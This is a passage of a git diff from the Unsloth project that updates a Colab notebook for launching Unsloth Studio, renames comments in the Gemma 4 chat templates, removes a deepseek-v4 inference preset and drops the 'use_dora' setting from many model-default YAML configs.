" - ], - "id": "f2b0c6a1" - } - ], - "metadata": { - "accelerator": "GPU", - "colab": { - "gpuType": "T4", - "provenance": [], - "include_colab_link": true - }, - "kernelspec": { - "display_name": "Python 3", - "name": "python3" - }, - "language_info": { - "name": "python" - } + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "id": "view-in-github", + "colab_type": "text" + }, + "source": [ + "\"Open" + ] }, - "nbformat": 4, - "nbformat_minor": 5 + { + "cell_type": "markdown", + "id": "6b87de59", + "metadata": { + "id": "6b87de59" + }, + "source": [ + "To run this, press \"*Runtime*\" and press \"*Run all*\" on a **free** Tesla T4 Google Colab instance!\n", + "
\n", + "\n", + "\n", + " Join Discord if you need help + ⭐ Star us on Github ⭐\n", + "
\n", + "\n", + "To install Unsloth Studio on your local device, follow [our guide](https://unsloth.ai/docs/new/unsloth-studio/install). Unsloth Studio is licensed [AGPL-3.0](https://github.com/unslothai/unsloth/blob/main/studio/LICENSE.AGPL-3.0).\n", + "\n", + "### Unsloth Studio\n", + "\n", + "Train and run open models with [**Unsloth Studio**](https://unsloth.ai/docs/new/unsloth-studio/start). NEW! Installation should now only take 2 mins!\n", + "\n", + "\n", + "We are actively working on making Unsloth Studio install on Colab T4 GPUs faster.\n", + "\n", + "[Features](https://unsloth.ai/docs/new/unsloth-studio#features) • [Quickstart](https://unsloth.ai/docs/new/unsloth-studio/start) • [Data Recipes](https://unsloth.ai/docs/new/unsloth-studio/data-recipe) • [Studio Chat](https://unsloth.ai/docs/new/unsloth-studio/chat) • [Export](https://unsloth.ai/docs/new/unsloth-studio/export)" + ] + }, + { + "cell_type": "markdown", + "id": "e4206349", + "metadata": { + "id": "e4206349" + }, + "source": [ + "

" + ] + }, + { + "cell_type": "markdown", + "id": "27da2957", + "metadata": { + "id": "27da2957" + }, + "source": [ + "### Setup: Clone repo and run setup" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "27e68f91", + "metadata": { + "id": "27e68f91" + }, + "outputs": [], + "source": "!git clone --depth 1 --branch main https://github.com/unslothai/unsloth.git\n%cd /content/unsloth\n!chmod +x studio/setup.sh && ./studio/setup.sh --local" + }, + { + "cell_type": "markdown", + "id": "3e1771a9", + "metadata": { + "id": "3e1771a9" + }, + "source": [ + "### Start Unsloth Studio" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "277e431e", + "metadata": { + "id": "277e431e" + }, + "outputs": [], + "source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\n\n# Default: in-tab iframe only. start() blocks to keep the kernel alive.\nstart()\n\n# For a shareable Cloudflare link, replace start() above with:\n# start(cloudflare=True)" + }, + { + "cell_type": "markdown", + "id": "f2b0c6a1", + "metadata": { + "id": "f2b0c6a1" + }, + "source": [ + "And we're done! If you have any questions on Unsloth, we have a [Discord](https://discord.gg/unsloth) channel! If you find any bugs or want to keep updated with the latest LLM stuff, or need help, join projects etc, feel free to join our Discord!\n", + "\n", + "Some other resources:\n", + "1. Looking to use Unsloth locally? Read our [Installation Guide](https://unsloth.ai/docs/get-started/install) for details on installing Unsloth on Windows, Docker, AMD, Intel GPUs.\n", + "2. Learn how to do Reinforcement Learning with our [RL Guide and notebooks](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide).\n", + "3. Read our guides and notebooks for [Text-to-speech (TTS)](https://unsloth.ai/docs/basics/text-to-speech-tts-fine-tuning) and [vision](https://unsloth.ai/docs/basics/vision-fine-tuning) model support.\n", + "4. Explore our [LLM Tutorials Directory](https://unsloth.ai/docs/models/tutorials-how-to-fine-tune-and-run-llms) to find dedicated guides for each model.\n", + "5. Need help with Inference? Read our [Inference & Deployment page](https://unsloth.ai/docs/basics/inference-and-deployment) for details on using vLLM, llama.cpp, Ollama etc.\n", + "\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " Join Discord if you need help + ⭐️ Star us on Github ⭐️\n", + "\n", + " This notebook is licensed AGPL-3.0\n", + "
" + ] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "gpuType": "T4", + "provenance": [], + "include_colab_link": true + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + } + }, + "nbformat": 4, + "nbformat_minor": 5 } \ No newline at end of file diff --git a/studio/backend/assets/chat_templates/gemma-4-edge.jinja b/studio/backend/assets/chat_templates/gemma-4-edge.jinja index 74fa73ddd3..0266127233 100644 --- a/studio/backend/assets/chat_templates/gemma-4-edge.jinja +++ b/studio/backend/assets/chat_templates/gemma-4-edge.jinja @@ -3,7 +3,7 @@ Source: google/gemma-4-31B-it HF discussion/PR #118 (adds the preserve_thinking flag plus null-rendering, string-arguments validation, balanced turn tags, empty messages handling, and OpenAI image_url/input_audio aliases). - Unsloth-local changes vs PR #118: + Studio-local changes vs PR #118: 1. preserve_thinking defaults to false (see SETUP block below). 2. The empty "<|channel>thought\n" block on enable_thinking=false is NOT emitted. Google ships a distinct template for E2B/E4B (google/gemma-4-E2B-it, diff --git a/studio/backend/assets/chat_templates/gemma-4.jinja b/studio/backend/assets/chat_templates/gemma-4.jinja index cc5f98065f..65ab39df57 100644 --- a/studio/backend/assets/chat_templates/gemma-4.jinja +++ b/studio/backend/assets/chat_templates/gemma-4.jinja @@ -3,7 +3,7 @@ Source: google/gemma-4-31B-it HF discussion/PR #118 (adds the preserve_thinking flag plus null-rendering, string-arguments validation, balanced turn tags, empty messages handling, and OpenAI image_url/input_audio aliases). - Unsloth-local change: preserve_thinking defaults to false (see SETUP block below). + Studio-local change: preserve_thinking defaults to false (see SETUP block below). Applied to unsloth/gemma-4-*-GGUF models so the embedded GGUF template does not need re-downloading. Keep in sync with upstream if PR #118 changes. -#} diff --git a/studio/backend/assets/configs/full_finetune.yaml b/studio/backend/assets/configs/full_finetune.yaml index 98c45dd851..e398515f61 100644 --- a/studio/backend/assets/configs/full_finetune.yaml +++ b/studio/backend/assets/configs/full_finetune.yaml @@ -30,7 +30,6 @@ lora: vision_all_linear: false use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/inference_defaults.json b/studio/backend/assets/configs/inference_defaults.json index 0633f80bbc..1c7a409bc1 100644 --- a/studio/backend/assets/configs/inference_defaults.json +++ b/studio/backend/assets/configs/inference_defaults.json @@ -235,13 +235,6 @@ "min_p": 0.1, "repetition_penalty": 1.0 }, - "deepseek-v4": { - "temperature": 1.0, - "top_p": 1.0, - "top_k": -1, - "min_p": 0.0, - "repetition_penalty": 1.0 - }, "deepseek-r1": { "temperature": 0.6, "top_p": 0.95, @@ -401,7 +394,7 @@ "phi-4", "phi-3", "mistral-nemo", "mistral-small", "mistral-large", "magistral", "ministral", "devstral", "pixtral", - "deepseek-v4", "deepseek-r1", "deepseek-v3", "deepseek-ocr", + "deepseek-r1", "deepseek-v3", "deepseek-ocr", "glm-5", "glm-4", "nemotron", "minimax-m2.7", "minimax-m2.5", "minimax", diff --git a/studio/backend/assets/configs/lora_text.yaml b/studio/backend/assets/configs/lora_text.yaml index 6c6a4d8839..9cb6b8c700 100644 --- a/studio/backend/assets/configs/lora_text.yaml +++ b/studio/backend/assets/configs/lora_text.yaml @@ -30,7 +30,6 @@ lora: vision_all_linear: false use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/default.yaml b/studio/backend/assets/configs/model_defaults/default.yaml index e569031a31..841e8ba166 100644 --- a/studio/backend/assets/configs/model_defaults/default.yaml +++ b/studio/backend/assets/configs/model_defaults/default.yaml @@ -33,7 +33,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/embedding/unsloth_Qwen3-Embedding-0.6B.yaml b/studio/backend/assets/configs/model_defaults/embedding/unsloth_Qwen3-Embedding-0.6B.yaml index 7ac1c83e04..f7b49c75b7 100644 --- a/studio/backend/assets/configs/model_defaults/embedding/unsloth_Qwen3-Embedding-0.6B.yaml +++ b/studio/backend/assets/configs/model_defaults/embedding/unsloth_Qwen3-Embedding-0.6B.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/embedding/unsloth_all-MiniLM-L6-v2.yaml b/studio/backend/assets/configs/model_defaults/embedding/unsloth_all-MiniLM-L6-v2.yaml index 4cab9e9f96..be7da0f624 100644 --- a/studio/backend/assets/configs/model_defaults/embedding/unsloth_all-MiniLM-L6-v2.yaml +++ b/studio/backend/assets/configs/model_defaults/embedding/unsloth_all-MiniLM-L6-v2.yaml @@ -30,7 +30,6 @@ lora: - "query" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/embedding/unsloth_bge-m3.yaml b/studio/backend/assets/configs/model_defaults/embedding/unsloth_bge-m3.yaml index c1f1c2a344..d9e49bc0d5 100644 --- a/studio/backend/assets/configs/model_defaults/embedding/unsloth_bge-m3.yaml +++ b/studio/backend/assets/configs/model_defaults/embedding/unsloth_bge-m3.yaml @@ -30,7 +30,6 @@ lora: - "value" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/embedding/unsloth_embeddinggemma-300m.yaml b/studio/backend/assets/configs/model_defaults/embedding/unsloth_embeddinggemma-300m.yaml index 7828feae81..c3422d399f 100644 --- a/studio/backend/assets/configs/model_defaults/embedding/unsloth_embeddinggemma-300m.yaml +++ b/studio/backend/assets/configs/model_defaults/embedding/unsloth_embeddinggemma-300m.yaml @@ -33,7 +33,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/embedding/unsloth_gte-modernbert-base.yaml b/studio/backend/assets/configs/model_defaults/embedding/unsloth_gte-modernbert-base.yaml index 5a4028f15b..529a56a527 100644 --- a/studio/backend/assets/configs/model_defaults/embedding/unsloth_gte-modernbert-base.yaml +++ b/studio/backend/assets/configs/model_defaults/embedding/unsloth_gte-modernbert-base.yaml @@ -29,7 +29,6 @@ lora: - "Wqkv" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml index 7645d11c98..734115ec41 100644 --- a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml +++ b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-21B-A3B-PT.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml index b746235f1f..1032449e8c 100644 --- a/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml +++ b/studio/backend/assets/configs/model_defaults/ernie/unsloth_ERNIE-4.5-VL-28B-A3B-PT.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml index 4964fea276..c8e5f35841 100644 --- a/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/falcon/tiiuae_Falcon-H1-0.5B-Instruct.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml index e5f3344356..251409c29d 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_codegemma-7b-bnb-4bit.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml index 71c61f383a..89b1d7f938 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_functiongemma-270m-it.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml index 3fe29cd800..e3292b5972 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-27b-bnb-4bit.yaml @@ -33,7 +33,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml index cd4e3e0c4d..98fe497912 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-2-2b.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml index 97aa10e861..bda5471643 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-270m-it.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml index a1b1640fa2..18392568bd 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-27b-it.yaml @@ -29,7 +29,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml index dbf60f04d4..434ac41b46 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-it.yaml @@ -29,7 +29,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml index 54c7dd6cd4..5f0a7b26ce 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3-4b-pt.yaml @@ -29,7 +29,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml index 119440a585..dd5ae51ab0 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B-it.yaml @@ -29,7 +29,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml index d08e5e9547..e53e163a04 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-3n-E4B.yaml @@ -29,7 +29,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml index a266d7a39b..ebe344e382 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B-it.yaml @@ -26,7 +26,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml index 970cac3259..fb89a07133 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-26B-A4B.yaml @@ -26,7 +26,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml index 5bba4ccdc0..4a089992ac 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B-it.yaml @@ -26,7 +26,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml index ac5c6eca22..ae7524b7c6 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-31B.yaml @@ -26,7 +26,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml index 68c2d35644..10c1abd8a5 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B-it.yaml @@ -26,7 +26,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml index 175f9c0f17..fb5c1d9dea 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E2B.yaml @@ -26,7 +26,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml index 4f3834e7c0..189e5dc6b2 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B-it.yaml @@ -26,7 +26,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml index d6d97f7e44..aa51440b6a 100644 --- a/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml +++ b/studio/backend/assets/configs/model_defaults/gemma/unsloth_gemma-4-E4B.yaml @@ -26,7 +26,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml index 4f1f54a4e6..e2d67bcb0b 100644 --- a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml +++ b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-120b.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml index 127700b53b..aa436117a1 100644 --- a/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml +++ b/studio/backend/assets/configs/model_defaults/gpt-oss/unsloth_gpt-oss-20b.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml index 2412b3accf..3f2cb84a94 100644 --- a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-350m-unsloth-bnb-4bit.yaml @@ -37,7 +37,6 @@ lora: - "shared_mlp.output_linear" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml index 81b59c4323..ab756fe764 100644 --- a/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml +++ b/studio/backend/assets/configs/model_defaults/granite/unsloth_granite-4.0-h-micro.yaml @@ -37,7 +37,6 @@ lora: - "shared_mlp.output_linear" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml index 6110d84a6c..1a7a91e56f 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-11B-Vision-Instruct.yaml @@ -29,7 +29,6 @@ lora: - "all-linear" use_rslora: false use_loftq: false - use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml index 3c7fc7f238..7c7bb8dc3e 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-1B-Instruct.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml index 2b0977e435..f73b0c09b6 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.2-3B-Instruct.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml index 1742c04a06..ffefb29e24 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Llama-3.3-70B-Instruct.yaml @@ -35,7 +35,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml index f33726b0dd..cd986a6da1 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-70B-bnb-4bit.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml index 79b30bd758..55dd3144c6 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_Meta-Llama-3.1-8B-Instruct-bnb-4bit.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml index 4ee9a5a8ed..8c9cb07fb9 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-Instruct-bnb-4bit.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml index da20663688..32441c5674 100644 --- a/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/llama/unsloth_llama-3-8b-bnb-4bit.yaml @@ -34,7 +34,6 @@ lora: - "down_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml b/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml index 30e4440afb..6bba9c9633 100644 --- a/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml +++ b/studio/backend/assets/configs/model_defaults/llasa/unsloth_Llasa-3B.yaml @@ -30,7 +30,6 @@ lora: - "v_proj" use_rslora: false use_loftq: false - use_dora: false logging: enable_wandb: false diff --git a/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/mistral/unsloth_Magistral-Small-2509-unsloth-bnb-4bit.yaml index 9bb0a93e63..f9833ce705 100644 --- 